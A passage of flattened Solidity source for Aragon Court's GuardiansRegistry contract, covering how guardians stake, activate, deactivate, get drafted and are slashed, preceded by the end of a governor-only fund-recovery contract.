Ensure the msg.sender is the controller's funds governor */ modifier onlyFundsGovernor { require(msg.sender == controller.getFundsGovernor(), ERROR_SENDER_NOT_FUNDS_GOVERNOR); _; } /** * @notice Transfer all `_token` tokens to `_to` * @param _token Address of the token to be recovered * @param _to Address of the recipient that will be receive all the funds of the requested token */ function recoverFunds(address _token, address payable _to) external payable onlyFundsGovernor { uint256 balance; if (_token == address(0)) { balance = address(this).balance; require(_to.send(balance), ERROR_RECOVER_TOKEN_FUNDS_FAILED); } else { balance = IERC20(_token).balanceOf(address(this)); require(balance > 0, ERROR_INSUFFICIENT_RECOVER_FUNDS); // No need to verify _token to be a contract as we have already checked the balance require(IERC20(_token).safeTransfer(_to, balance), ERROR_RECOVER_TOKEN_FUNDS_FAILED); } emit RecoverFunds(_token, _to, balance); } } contract GuardiansRegistry is IGuardiansRegistry, ControlledRecoverable { using SafeERC20 for IERC20; using SafeMath for uint256; using PctHelpers for uint256; using HexSumTree for HexSumTree.Tree; using GuardiansTreeSortition for HexSumTree.Tree; string private constant ERROR_NOT_CONTRACT = "GR_NOT_CONTRACT"; string private constant ERROR_INVALID_ZERO_AMOUNT = "GR_INVALID_ZERO_AMOUNT"; string private constant ERROR_INVALID_ACTIVATION_AMOUNT = "GR_INVALID_ACTIVATION_AMOUNT"; string private constant ERROR_INVALID_DEACTIVATION_AMOUNT = "GR_INVALID_DEACTIVATION_AMOUNT"; string private constant ERROR_INVALID_LOCKED_AMOUNTS_LENGTH = "GR_INVALID_LOCKED_AMOUNTS_LEN"; string private constant ERROR_INVALID_REWARDED_GUARDIANS_LENGTH = "GR_INVALID_REWARD_GUARDIANS_LEN"; string private constant ERROR_ACTIVE_BALANCE_BELOW_MIN = "GR_ACTIVE_BALANCE_BELOW_MIN"; string private constant ERROR_NOT_ENOUGH_AVAILABLE_BALANCE = "GR_NOT_ENOUGH_AVAILABLE_BALANCE"; string private constant ERROR_CANNOT_REDUCE_DEACTIVATION_REQUEST = "GR_CANT_REDUCE_DEACTIVATION_REQ"; string private constant ERROR_TOKEN_TRANSFER_FAILED = "GR_TOKEN_TRANSFER_FAILED"; string private constant ERROR_TOKEN_APPROVE_NOT_ALLOWED = "GR_TOKEN_APPROVE_NOT_ALLOWED"; string private constant ERROR_BAD_TOTAL_ACTIVE_BALANCE_LIMIT = "GR_BAD_TOTAL_ACTIVE_BAL_LIMIT"; string private constant ERROR_TOTAL_ACTIVE_BALANCE_EXCEEDED = "GR_TOTAL_ACTIVE_BALANCE_EXCEEDED"; string private constant ERROR_DEACTIVATION_AMOUNT_EXCEEDS_LOCK = "GR_DEACTIV_AMOUNT_EXCEEDS_LOCK"; string private constant ERROR_CANNOT_UNLOCK_ACTIVATION = "GR_CANNOT_UNLOCK_ACTIVATION"; string private constant ERROR_ZERO_LOCK_ACTIVATION = "GR_ZERO_LOCK_ACTIVATION"; string private constant ERROR_INVALID_UNLOCK_ACTIVATION_AMOUNT = "GR_INVALID_UNLOCK_ACTIVAT_AMOUNT"; string private constant ERROR_LOCK_MANAGER_NOT_ALLOWED = "GR_LOCK_MANAGER_NOT_ALLOWED"; string private constant ERROR_WITHDRAWALS_LOCK = "GR_WITHDRAWALS_LOCK"; // Address that will be used to burn guardian tokens address internal constant BURN_ACCOUNT = address(0x000000000000000000000000000000000000dEaD); // Maximum number of sortition iterations allowed per draft call uint256 internal constant MAX_DRAFT_ITERATIONS = 10; // "ERC20-lite" interface to provide help for tooling string public constant name = "Court Staked Aragon Network Token"; string public constant symbol = "sANT"; uint8 public constant decimals = 18; /** * @dev Guardians have three kind of balances, these are: * - active: tokens activated for the Court that can be locked in case the guardian is drafted * - locked: amount of active tokens that are locked for a draft * - available: tokens that are not activated for the Court and can be withdrawn by the guardian at any time * * Due to a gas optimization for drafting, the "active" tokens are stored in a `HexSumTree`, while the others * are stored in this contract as `lockedBalance` and `availableBalance` respectively. Given that the guardians' * active balances cannot be affected during the current Court term, if guardians want to deactivate some of * their active tokens, their balance will be updated for the following term, and they won't be allowed to * withdraw them until the current term has ended. * * Note that even though guardians balances are stored separately, all the balances are held by this contract. */ struct Guardian { uint256 id; // Key in the guardians tree used for drafting uint256 lockedBalance; // Maximum amount of tokens that can be slashed based on the guardian's drafts uint256 availableBalance; // Available tokens that can be withdrawn at any time uint64 withdrawalsLockTermId; // Term ID until which the guardian's withdrawals will be locked ActivationLocks activationLocks; // Guardian's activation locks DeactivationRequest deactivationRequest; // Guardian's pending deactivation request } /** * @dev Guardians can define lock managers to control their minimum active balance in the registry */ struct ActivationLocks { uint256 total; // Total amount of active balance locked mapping (address => uint256) lockedBy; // List of locked amounts indexed by lock manager } /** * @dev Given that the guardians balances cannot be affected during a Court term, if guardians want to deactivate some * of their tokens, the tree will always be updated for the following term, and they won't be able to * withdraw the requested amount until the current term has finished. Thus, we need to keep track the term * when a token deactivation was requested and its corresponding amount. */ struct DeactivationRequest { uint256 amount; // Amount requested for deactivation uint64 availableTermId; // Term ID when guardians can withdraw their requested deactivation tokens } /** * @dev Internal struct to wrap all the params required to perform guardians drafting */ struct DraftParams { bytes32 termRandomness; // Randomness seed to be used for the draft uint256 disputeId; // ID of the dispute being drafted uint64 termId; // Term ID of the dispute's draft term uint256 selectedGuardians; // Number of guardians already selected for the draft uint256 batchRequestedGuardians; // Number of guardians to be selected in the given batch of the draft uint256 roundRequestedGuardians; // Total number of guardians requested to be drafted uint256 draftLockAmount; // Amount of tokens to be locked to each drafted guardian uint256 iteration; // Sortition iteration number } // Maximum amount of total active balance that can be held in the registry uint256 public totalActiveBalanceLimit; // Guardian ERC20 token IERC20 public guardiansToken; // Mapping of guardian data indexed by address mapping (address => Guardian) internal guardiansByAddress; // Mapping of guardian addresses indexed by id mapping (uint256 => address) internal guardiansAddressById; // Tree to store guardians active balance by term for the drafting process HexSumTree.Tree internal tree; event Staked(address indexed guardian, uint256 amount, uint256 total); event Unstaked(address indexed guardian, uint256 amount, uint256 total); event GuardianActivated(address indexed guardian, uint64 fromTermId, uint256 amount); event GuardianDeactivationRequested(address indexed guardian, uint64 availableTermId, uint256 amount); event GuardianDeactivationProcessed(address indexed guardian, uint64 availableTermId, uint256 amount, uint64 processedTermId); event GuardianDeactivationUpdated(address indexed guardian, uint64 availableTermId, uint256 amount, uint64 updateTermId); event GuardianActivationLockChanged(address indexed guardian, address indexed lockManager, uint256 amount, uint256 total); event GuardianBalanceLocked(address indexed guardian, uint256 amount); event GuardianBalanceUnlocked(address indexed guardian, uint256 amount); event GuardianSlashed(address indexed guardian, uint256 amount, uint64 effectiveTermId); event GuardianTokensAssigned(address indexed guardian, uint256 amount); event GuardianTokensBurned(uint256 amount); event GuardianTokensCollected(address indexed guardian, uint256 amount, uint64 effectiveTermId); event TotalActiveBalanceLimitChanged(uint256 previousTotalActiveBalanceLimit, uint256 currentTotalActiveBalanceLimit); /** * @dev Constructor function * @param _controller Address of the controller * @param _guardiansToken Address of the ERC20 token to be used as guardian token for the registry * @param _totalActiveBalanceLimit Maximum amount of total active balance that can be held in the registry */ constructor(Controller _controller, IERC20 _guardiansToken, uint256 _totalActiveBalanceLimit) Controlled(_controller) public { require(isContract(address(_guardiansToken)), ERROR_NOT_CONTRACT); guardiansToken = _guardiansToken; _setTotalActiveBalanceLimit(_totalActiveBalanceLimit); tree.init(); // First tree item is an empty guardian assert(tree.insert(0, 0) == 0); } /** * @notice Stake `@tokenAmount(self.token(), _amount)` for `_guardian` * @param _guardian Address of the guardian to stake tokens to * @param _amount Amount of tokens to be staked */ function stake(address _guardian, uint256 _amount) external { _stake(_guardian, _amount); } /** * @notice Unstake `@tokenAmount(self.token(), _amount)` from `_guardian` * @param _guardian Address of the guardian to unstake tokens from * @param _amount Amount of tokens to be unstaked */ function unstake(address _guardian, uint256 _amount) external authenticateSender(_guardian) { _unstake(_guardian, _amount); } /** * @notice Activate `@tokenAmount(self.token(), _amount)` for `_guardian` * @param _guardian Address of the guardian activating the tokens for * @param _amount Amount of guardian tokens to be activated for the next term */ function activate(address _guardian, uint256 _amount) external authenticateSender(_guardian) { _activate(_guardian, _amount); } /** * @notice Deactivate `_amount == 0 ? 'all unlocked tokens' : @tokenAmount(self.token(), _amount)` for `_guardian` * @param _guardian Address of the guardian deactivating the tokens for * @param _amount Amount of guardian tokens to be deactivated for the next term */ function deactivate(address _guardian, uint256 _amount) external authenticateSender(_guardian) { _deactivate(_guardian, _amount); } /** * @notice Stake and activate `@tokenAmount(self.token(), _amount)` for `_guardian` * @param _guardian Address of the guardian staking and activating tokens for * @param _amount Amount of tokens to be staked and activated */ function stakeAndActivate(address _guardian, uint256 _amount) external authenticateSender(_guardian) { _stake(_guardian, _amount); _activate(_guardian, _amount); } /** * @notice Lock `@tokenAmount(self.token(), _amount)` of `_guardian`'s active balance * @param _guardian Address of the guardian locking the activation for * @param _lockManager Address of the lock manager that will control the lock * @param _amount Amount of active tokens to be locked */ function lockActivation(address _guardian, address _lockManager, uint256 _amount) external { // Make sure the sender is the guardian, someone allowed by the guardian, or the lock manager itself bool isLockManagerAllowed = msg.sender == _lockManager || _isSenderAllowed(_guardian); // Make sure that the given lock manager is allowed require(isLockManagerAllowed && _hasRole(_lockManager), ERROR_LOCK_MANAGER_NOT_ALLOWED); _lockActivation(_guardian, _lockManager, _amount); } /** * @notice Unlock `_amount == 0 ? 'all unlocked tokens' : @tokenAmount(self.token(), _amount)` of `_guardian`'s active balance * @param _guardian Address of the guardian unlocking the active balance of * @param _lockManager Address of the lock manager controlling the lock * @param _amount Amount of active tokens to be unlocked * @param _requestDeactivation Whether the unlocked amount must be requested for deactivation immediately */ function unlockActivation(address _guardian, address _lockManager, uint256 _amount, bool _requestDeactivation) external { ActivationLocks storage activationLocks = guardiansByAddress[_guardian].activationLocks; uint256 lockedAmount = activationLocks.lockedBy[_lockManager]; require(lockedAmount > 0, ERROR_ZERO_LOCK_ACTIVATION); uint256 amountToUnlock = _amount == 0 ? lockedAmount : _amount; require(amountToUnlock <= lockedAmount, ERROR_INVALID_UNLOCK_ACTIVATION_AMOUNT); // Always allow the lock manager to unlock bool canUnlock = _lockManager == msg.sender || ILockManager(_lockManager).canUnlock(_guardian, amountToUnlock); require(canUnlock, ERROR_CANNOT_UNLOCK_ACTIVATION); uint256 newLockedAmount = lockedAmount.sub(amountToUnlock); uint256 newTotalLocked = activationLocks.total.sub(amountToUnlock); activationLocks.total = newTotalLocked; activationLocks.lockedBy[_lockManager] = newLockedAmount; emit GuardianActivationLockChanged(_guardian, _lockManager, newLockedAmount, newTotalLocked); // In order to request a deactivation, the request must have been originally authorized from the guardian or someone authorized to do it if (_requestDeactivation) { _authenticateSender(_guardian); _deactivate(_guardian, _amount); } } /** * @notice Process a token deactivation requested for `_guardian` if there is any * @param _guardian Address of the guardian to process the deactivation request of */ function processDeactivationRequest(address _guardian) external { uint64 termId = _ensureCurrentTerm(); _processDeactivationRequest(_guardian, termId); } /** * @notice Assign `@tokenAmount(self.token(), _amount)` to the available balance of `_guardian` * @param _guardian Guardian to add an amount of tokens to * @param _amount Amount of tokens to be added to the available balance of a guardian */ function assignTokens(address _guardian, uint256 _amount) external onlyActiveDisputeManager { if (_amount > 0) { _updateAvailableBalanceOf(_guardian, _amount, true); emit GuardianTokensAssigned(_guardian, _amount); } } /** * @notice Burn `@tokenAmount(self.token(), _amount)` * @param _amount Amount of tokens to be burned */ function burnTokens(uint256 _amount) external onlyActiveDisputeManager { if (_amount > 0) { _updateAvailableBalanceOf(BURN_ACCOUNT, _amount, true); emit GuardianTokensBurned(_amount); } } /** * @notice Draft a set of guardians based on given requirements for a term id * @param _params Array containing draft requirements: * 0. bytes32 Term randomness * 1. uint256 Dispute id * 2. uint64 Current term id * 3. uint256 Number of seats already filled * 4. uint256 Number of seats left to be filled * 5. uint64 Number of guardians required for the draft * 6. uint16 Permyriad of the minimum active balance to be locked for the draft * * @return guardians List of guardians selected for the draft * @return length Size of the list of the draft result */ function draft(uint256[7] calldata _params) external onlyActiveDisputeManager returns (address[] memory guardians, uint256 length) { DraftParams memory draftParams = _buildDraftParams(_params); guardians = new address[](draftParams.batchRequestedGuardians); // Guardians returned by the tree multi-sortition may not have enough unlocked active balance to be drafted. Thus, // we compute several sortitions until all the requested guardians are selected. To guarantee a different set of // guardians on each sortition, the iteration number will be part of the random seed to be used in the sortition. // Note that we are capping the number of iterations to avoid an OOG error, which means that this function could // return less guardians than the requested number. for (draftParams.iteration = 0; length < draftParams.batchRequestedGuardians && draftParams.iteration < MAX_DRAFT_ITERATIONS; draftParams.iteration++ ) { (uint256[] memory guardianIds, uint256[] memory activeBalances) = _treeSearch(draftParams); for (uint256 i = 0; i < guardianIds.length && length < draftParams.batchRequestedGuardians; i++) { // We assume the selected guardians are registered in the registry, we are not checking their addresses exist address guardianAddress = guardiansAddressById[guardianIds[i]]; Guardian storage guardian = guardiansByAddress[guardianAddress]; // Compute new locked balance for a guardian based on the penalty applied when being drafted uint256 newLockedBalance = guardian.lockedBalance.add(draftParams.draftLockAmount); // Check if there is any deactivation requests for the next term. Drafts are always computed for the current term // but we have to make sure we are locking an amount that will exist in the next term. uint256 nextTermDeactivationRequestAmount = _deactivationRequestedAmountForTerm(guardian, draftParams.termId + 1); // Check if guardian has enough active tokens to lock the requested amount for the draft, skip it otherwise. uint256 currentActiveBalance = activeBalances[i]; if (currentActiveBalance >= newLockedBalance) { // Check if the amount of active tokens for the next term is enough to lock the required amount for // the draft. Otherwise, reduce the requested deactivation amount of the next term. // Next term deactivation amount should always be less than current active balance, but we make sure using SafeMath uint256 nextTermActiveBalance = currentActiveBalance.sub(nextTermDeactivationRequestAmount); if (nextTermActiveBalance < newLockedBalance) { // No need for SafeMath: we already checked values above _reduceDeactivationRequest(guardianAddress, newLockedBalance - nextTermActiveBalance, draftParams.termId); } // Update the current active locked balance of the guardian guardian.lockedBalance = newLockedBalance; guardians[length++] = guardianAddress; emit GuardianBalanceLocked(guardianAddress, draftParams.draftLockAmount); } } } } /** * @notice Slash a set of guardians based on their votes compared to the winning ruling. This function will unlock the * corresponding locked balances of those guardians that are set to be slashed. * @param _termId Current term id * @param _guardians List of guardian addresses to be slashed * @param _lockedAmounts List of amounts locked for each corresponding guardian that will be either slashed or returned * @param _rewardedGuardians List of booleans to tell whether a guardian's active balance has to be slashed or not * @return Total amount of slashed tokens */ function slashOrUnlock(uint64 _termId, address[] calldata _guardians, uint256[] calldata _lockedAmounts, bool[] calldata _rewardedGuardians) external onlyActiveDisputeManager returns (uint256) { require(_guardians.length == _lockedAmounts.length, ERROR_INVALID_LOCKED_AMOUNTS_LENGTH); require(_guardians.length == _rewardedGuardians.length, ERROR_INVALID_REWARDED_GUARDIANS_LENGTH); uint64 nextTermId = _termId + 1; uint256 collectedTokens; for (uint256 i = 0; i < _guardians.length; i++) { uint256 lockedAmount = _lockedAmounts[i]; address guardianAddress = _guardians[i]; Guardian storage guardian = guardiansByAddress[guardianAddress]; guardian.lockedBalance = guardian.lockedBalance.sub(lockedAmount); // Slash guardian if requested. Note that there's no need to check if there was a deactivation // request since we're working with already locked balances. if (_rewardedGuardians[i]) { emit GuardianBalanceUnlocked(guardianAddress, lockedAmount); } else { collectedTokens = collectedTokens.add(lockedAmount); tree.update(guardian.id, nextTermId, lockedAmount, false); emit GuardianSlashed(guardianAddress, lockedAmount, nextTermId); } } return collectedTokens; } /** * @notice Try to collect `@tokenAmount(self.token(), _amount)` from `_guardian` for the term #`_termId + 1`. * @dev This function tries to decrease the active balance of a guardian for the next term based on the requested * amount. It can be seen as a way to early-slash a guardian's active balance. * @param _guardian Guardian to collect the tokens from * @param _amount Amount of tokens to be collected from the given guardian and for the requested term id * @param _termId Current term id * @return True if the guardian has enough unlocked tokens to be collected for the requested term, false otherwise */ function collectTokens(address _guardian, uint256 _amount, uint64 _termId) external onlyActiveDisputeManager returns (bool) { if (_amount == 0) { return true; } uint64 nextTermId = _termId + 1; Guardian storage guardian = guardiansByAddress[_guardian]; uint256 unlockedActiveBalance = _lastUnlockedActiveBalanceOf(guardian); uint256 nextTermDeactivationRequestAmount = _deactivationRequestedAmountForTerm(guardian, nextTermId); // Check if the guardian has enough unlocked tokens to collect the requested amount // Note that we're also considering the deactivation request if there is any uint256 totalUnlockedActiveBalance = unlockedActiveBalance.add(nextTermDeactivationRequestAmount); if (_amount > totalUnlockedActiveBalance) { return false; } // Check if the amount of active tokens is enough to collect the requested amount, otherwise reduce the requested deactivation amount of // the next term. Note that this behaviour is different to the one when drafting guardians since this function is called as a side effect // of a guardian deliberately voting in a final round, while drafts occur randomly. if (_amount > unlockedActiveBalance) { // No need for SafeMath: amounts were already checked above uint256 amountToReduce = _amount - unlockedActiveBalance; _reduceDeactivationRequest(_guardian, amountToReduce, _termId); } tree.update(guardian.id, nextTermId, _amount, false); emit GuardianTokensCollected(_guardian, _amount, nextTermId); return true; } /** * @notice Lock `_guardian`'s withdrawals until term #`_termId` * @dev This is intended for guardians who voted in a final round and were coherent with the final ruling to prevent 51% attacks * @param _guardian Address of the guardian to be locked * @param _termId Term ID until which the guardian's withdrawals will be locked */ function lockWithdrawals(address _guardian, uint64 _termId) external onlyActiveDisputeManager { Guardian storage guardian = guardiansByAddress[_guardian]; guardian.withdrawalsLockTermId = _termId; } /** * @notice Set new limit of total active balance of guardian tokens * @param _totalActiveBalanceLimit New limit of total active balance of guardian tokens */ function setTotalActiveBalanceLimit(uint256 _totalActiveBalanceLimit) external onlyConfigGovernor { _setTotalActiveBalanceLimit(_totalActiveBalanceLimit); } /** * @dev Tell the total supply of guardian tokens staked * @return Supply of guardian tokens staked */ function totalSupply() external view returns (uint256) { return guardiansToken.balanceOf(address(this)); } /** * @dev Tell the total amount of active guardian tokens * @return Total amount of active guardian tokens */ function totalActiveBalance() external view returns (uint256) { return tree.getTotal(); } /** * @dev Tell the total amount of active guardian tokens for a given term id * @param _termId Term ID to query on * @return Total amount of active guardian tokens at the given term id */ function totalActiveBalanceAt(uint64 _termId) external view returns (uint256) { return _totalActiveBalanceAt(_termId); } /** * @dev Tell the total balance of tokens held by a guardian * This includes the active balance, the available balances, and the pending balance for deactivation. * Note that we don't have to include the locked balances since these represent the amount of active tokens * that are locked for drafts, i.e. these are already included in the active balance of the guardian. * @param _guardian Address of the guardian querying the balance of * @return Total amount of tokens of a guardian */ function balanceOf(address _guardian) external view returns (uint256) { return _balanceOf(_guardian); } /** * @dev Tell the detailed balance information of a guardian * @param _guardian Address of the guardian querying the detailed balance information of * @return active Amount of active tokens of a guardian * @return available Amount of available tokens of a guardian * @return locked Amount of active tokens that are locked due to ongoing disputes * @return pendingDeactivation Amount of active tokens that were requested for deactivation */ function detailedBalanceOf(address _guardian) external view returns (uint256 active, uint256 available, uint256 locked, uint256 pendingDeactivation) { return _detailedBalanceOf(_guardian); } /** * @dev Tell the active balance of a guardian for a given term id * @param _guardian Address of the guardian querying the active balance of * @param _termId Term ID to query on * @return Amount of active tokens for guardian in the requested past term id */ function activeBalanceOfAt(address _guardian, uint64 _termId) external view returns (uint256) { return _activeBalanceOfAt(_guardian, _termId); } /** * @dev Tell the amount of active tokens of a guardian at the last ensured term that are not locked due to ongoing disputes * @param _guardian Address of the guardian querying the unlocked balance of * @return Amount of active tokens of a guardian that are not locked due to ongoing disputes */ function unlockedActiveBalanceOf(address _guardian) external view returns (uint256) { Guardian storage guardian = guardiansByAddress[_guardian]; return _currentUnlockedActiveBalanceOf(guardian); } /** * @dev Tell the pending deactivation details for a guardian * @param _guardian Address of the guardian whose info is requested * @return amount Amount to be deactivated * @return availableTermId Term in which the deactivated amount will be available */ function getDeactivationRequest(address _guardian) external view returns (uint256 amount, uint64 availableTermId) { DeactivationRequest storage request = guardiansByAddress[_guardian].deactivationRequest; return (request.amount, request.availableTermId); } /** * @dev Tell the activation amount locked for a guardian by a lock manager * @param _guardian Address of the guardian whose info is requested * @param _lockManager Address of the lock manager querying the lock of * @return amount Activation amount locked by the lock manager * @return total Total activation amount locked for the guardian */ function getActivationLock(address _guardian, address _lockManager) external view returns (uint256 amount, uint256 total) { ActivationLocks storage activationLocks = guardiansByAddress[_guardian].activationLocks; total = activationLocks.total; amount = activationLocks.lockedBy[_lockManager]; } /** * @dev Tell the withdrawals lock term ID for a guardian * @param _guardian Address of the guardian whose info is requested * @return Term ID until which the guardian's withdrawals will be locked */ function getWithdrawalsLockTermId(address _guardian) external view returns (uint64) { return guardiansByAddress[_guardian].withdrawalsLockTermId; } /** * @dev Tell the identification number associated to a guardian address * @param _guardian Address of the guardian querying the identification number of * @return Identification number associated to a guardian address, zero in case it wasn't registered yet */ function getGuardianId(address _guardian) external view returns (uint256) { return guardiansByAddress[_guardian].id; } /** * @dev Internal function to activate a given amount of tokens for a guardian. * This function assumes that the given term is the current term and has already been ensured. * @param _guardian Address of the guardian to activate tokens * @param _amount Amount of guardian tokens to be activated */ function _activate(address _guardian, uint256 _amount) internal { uint64 termId = _ensureCurrentTerm(); // Try to clean a previous deactivation request if any _processDeactivationRequest(_guardian, termId); uint256 availableBalance = guardiansByAddress[_guardian].availableBalance; uint256 amountToActivate = _amount == 0 ? availableBalance : _amount; require(amountToActivate > 0, ERROR_INVALID_ZERO_AMOUNT); require(amountToActivate <= availableBalance, ERROR_INVALID_ACTIVATION_AMOUNT); uint64 nextTermId = termId + 1; _checkTotalActiveBalance(nextTermId, amountToActivate); Guardian storage guardian = guardiansByAddress[_guardian]; uint256 minActiveBalance = _getMinActiveBalance(nextTermId); if (_existsGuardian(guardian)) { // Even though we are adding amounts, let's check the new active balance is greater than or equal to the // minimum active amount. Note that the guardian might have been slashed. uint256 activeBalance = tree.getItem(guardian.id); require(activeBalance.add(amountToActivate) >= minActiveBalance, ERROR_ACTIVE_BALANCE_BELOW_MIN); tree.update(guardian.id, nextTermId, amountToActivate, true); } else { require(amountToActivate >= minActiveBalance, ERROR_ACTIVE_BALANCE_BELOW_MIN); guardian.id = tree.insert(nextTermId, amountToActivate); guardiansAddressById[guardian.id] = _guardian; } _updateAvailableBalanceOf(_guardian, amountToActivate, false); emit GuardianActivated(_guardian, nextTermId, amountToActivate); } /** * @dev Internal function to deactivate a given amount of tokens for a guardian. * @param _guardian Address of the guardian to deactivate tokens * @param _amount Amount of guardian tokens to be deactivated for the next term */ function _deactivate(address _guardian, uint256 _amount) internal { uint64 termId = _ensureCurrentTerm(); Guardian storage guardian = guardiansByAddress[_guardian]; uint256 unlockedActiveBalance = _lastUnlockedActiveBalanceOf(guardian); uint256 amountToDeactivate = _amount == 0 ? unlockedActiveBalance : _amount; require(amountToDeactivate > 0, ERROR_INVALID_ZERO_AMOUNT); require(amountToDeactivate <= unlockedActiveBalance, ERROR_INVALID_DEACTIVATION_AMOUNT); // Check future balance is not below the total activation lock of the guardian // No need for SafeMath: we already checked values above uint256 futureActiveBalance = unlockedActiveBalance - amountToDeactivate; uint256 totalActivationLock = guardian.activationLocks.total; require(futureActiveBalance >= totalActivationLock, ERROR_DEACTIVATION_AMOUNT_EXCEEDS_LOCK); // Check that the guardian is leaving or that the minimum active balance is met uint256 minActiveBalance = _getMinActiveBalance(termId); require(futureActiveBalance == 0 || futureActiveBalance >= minActiveBalance, ERROR_INVALID_DEACTIVATION_AMOUNT); _createDeactivationRequest(_guardian, amountToDeactivate); } /** * @dev Internal function to create a token deactivation request for a guardian. Guardians will be allowed * to process a deactivation request from the next term. * @param _guardian Address of the guardian to create a token deactivation request for * @param _amount Amount of guardian tokens requested for deactivation */ function _createDeactivationRequest(address _guardian, uint256 _amount) internal { uint64 termId = _ensureCurrentTerm(); // Try to clean a previous deactivation request if possible _processDeactivationRequest(_guardian, termId); uint64 nextTermId = termId + 1; Guardian storage guardian = guardiansByAddress[_guardian]; DeactivationRequest storage request = guardian.deactivationRequest; request.amount = request.amount.add(_amount); request.availableTermId = nextTermId; tree.update(guardian.id, nextTermId, _amount, false); emit GuardianDeactivationRequested(_guardian, nextTermId, _amount); } /** * @dev Internal function to process a token deactivation requested by a guardian. It will move the requested amount * to the available balance of the guardian if the term when the deactivation was requested has already finished. * @param _guardian Address of the guardian to process the deactivation request of * @param _termId Current term id */ function _processDeactivationRequest(address _guardian, uint64 _termId) internal { Guardian storage guardian = guardiansByAddress[_guardian]; DeactivationRequest storage request = guardian.deactivationRequest; uint64 deactivationAvailableTermId = request.availableTermId; // If there is a deactivation request, ensure that the deactivation term has been reached if (deactivationAvailableTermId == uint64(0) || _termId < deactivationAvailableTermId) { return; } uint256 deactivationAmount = request.amount; // Note that we can use a zeroed term ID to denote void here since we are storing // the minimum allowed term to deactivate tokens which will always be at least 1. request.availableTermId = uint64(0); request.amount = 0; _updateAvailableBalanceOf(_guardian, deactivationAmount, true); emit GuardianDeactivationProcessed(_guardian, deactivationAvailableTermId, deactivationAmount, _termId); } /** * @dev Internal function to reduce a token deactivation requested by a guardian. It assumes the deactivation request * cannot be processed for the given term yet. * @param _guardian Address of the guardian to reduce the deactivation request of * @param _amount Amount to be reduced from the current deactivation request * @param _termId Term ID in which the deactivation request is being reduced */ function _reduceDeactivationRequest(address _guardian, uint256 _amount, uint64 _termId) internal { Guardian storage guardian = guardiansByAddress[_guardian]; DeactivationRequest storage request = guardian.deactivationRequest; uint256 currentRequestAmount = request.amount; require(currentRequestAmount >= _amount, ERROR_CANNOT_REDUCE_DEACTIVATION_REQUEST); // No need for SafeMath: we already checked values above uint256 newRequestAmount = currentRequestAmount - _amount; request.amount = newRequestAmount; // Move amount back to the tree tree.update(guardian.id, _termId + 1, _amount, true); emit GuardianDeactivationUpdated(_guardian, request.availableTermId, newRequestAmount, _termId); } /** * @dev Internal function to update the activation locked amount of a guardian * @param _guardian Guardian to update the activation locked amount of * @param _lockManager Address of the lock manager controlling the lock * @param _amount Amount of tokens to be added to the activation locked amount of the guardian */ function _lockActivation(address _guardian, address _lockManager, uint256 _amount) internal { ActivationLocks storage activationLocks = guardiansByAddress[_guardian].activationLocks; uint256 newTotalLocked = activationLocks.total.add(_amount); uint256 newLockedAmount = activationLocks.lockedBy[_lockManager].add(_amount); activationLocks.total = newTotalLocked; activationLocks.lockedBy[_lockManager] = newLockedAmount; emit GuardianActivationLockChanged(_guardian, _lockManager, newLockedAmount, newTotalLocked); } /** * @dev Internal function to stake an amount of tokens for a guardian * @param _guardian Address of the guardian to deposit the tokens to * @param _amount Amount of tokens to be deposited */ function _stake(address _guardian, uint256 _amount) internal { require(_amount > 0, ERROR_INVALID_ZERO_AMOUNT); _updateAvailableBalanceOf(_guardian, _amount, true); emit Staked(_guardian, _amount, _balanceOf(_guardian)); require(guardiansToken.safeTransferFrom(msg.sender, address(this), _amount), ERROR_TOKEN_TRANSFER_FAILED); } /** * @dev Internal function to unstake an amount of tokens of a guardian * @param _guardian Address of the guardian to to unstake the tokens of * @param _amount Amount of tokens to be unstaked */ function _unstake(address _guardian, uint256 _amount) internal { require(_amount > 0, ERROR_INVALID_ZERO_AMOUNT); // Try to process a deactivation request for the current term if there is one. Note that we don't need to ensure // the current term this time since deactivation requests always work with future terms, which means that if // the current term is outdated, it will never match the deactivation term id. We avoid ensuring the term here // to avoid forcing guardians to do that in order to withdraw their available balance. Same applies to final round locks. uint64 lastEnsuredTermId = _getLastEnsuredTermId(); // Check that guardian's withdrawals are not locked uint64 withdrawalsLockTermId = guardiansByAddress[_guardian].withdrawalsLockTermId; require(withdrawalsLockTermId == 0 || withdrawalsLockTermId < lastEnsuredTermId, ERROR_WITHDRAWALS_LOCK); _processDeactivationRequest(_guardian, lastEnsuredTermId); _updateAvailableBalanceOf(_guardian, _amount, false); emit Unstaked(_guardian, _amount, _balanceOf(_guardian)); require(guardiansToken.safeTransfer(_guardian, _amount), ERROR_TOKEN_TRANSFER_FAILED); } /** * @dev Internal function to update the available balance of a guardian * @param _guardian Guardian to update the available balance of * @param _amount Amount of tokens to be added to or removed from the available balance of a guardian * @param _positive True if the given amount should be added, or false to remove it from the available balance */ function _updateAvailableBalanceOf(address _guardian, uint256 _amount, bool _positive) internal { // We are not using a require here to avoid reverting in case any of the treasury maths reaches this point // with a zeroed amount value. Instead, we are doing this validation in the external entry points such as // stake, unstake, activate, deactivate, among others. if (_amount == 0) { return; } Guardian storage guardian = guardiansByAddress[_guardian]; if (_positive) { guardian.availableBalance = guardian.availableBalance.add(_amount); } else { require(_amount <= guardian.availableBalance, ERROR_NOT_ENOUGH_AVAILABLE_BALANCE); // No need for SafeMath: we already checked values right above guardian.availableBalance -= _amount; } } /** * @dev Internal function to set new limit of total active balance of guardian tokens * @param _totalActiveBalanceLimit New limit of total active balance of guardian tokens */ function _setTotalActiveBalanceLimit(uint256 _totalActiveBalanceLimit) internal { require(_totalActiveBalanceLimit > 0, ERROR_BAD_TOTAL_ACTIVE_BALANCE_LIMIT); emit TotalActiveBalanceLimitChanged(totalActiveBalanceLimit, _totalActiveBalanceLimit); totalActiveBalanceLimit = _totalActiveBalanceLimit; } /** * @dev Internal function to tell the total balance of tokens held by a guardian * @param _guardian Address of the guardian querying the total balance of * @return Total amount of tokens of a guardian */ function _balanceOf(address _guardian) internal view returns (uint256) { (uint256 active, uint256 available, , uint256 pendingDeactivation) = _detailedBalanceOf(_guardian); return available.add(active).add(pendingDeactivation); } /** * @dev Internal function to tell the detailed balance information of a guardian * @param _guardian Address of the guardian querying the balance information of * @return active Amount of active tokens of a guardian * @return available Amount of available tokens of a guardian * @return locked Amount of active tokens that are locked due to ongoing disputes * @return pendingDeactivation Amount of active tokens that were requested for deactivation */ function _detailedBalanceOf(address _guardian) internal view returns (uint256 active, uint256 available, uint256 locked, uint256 pendingDeactivation) { Guardian storage guardian = guardiansByAddress[_guardian]; active = _existsGuardian(guardian) ? tree.getItem(guardian.id) : 0; (available, locked, pendingDeactivation) = _getBalances(guardian); } /** 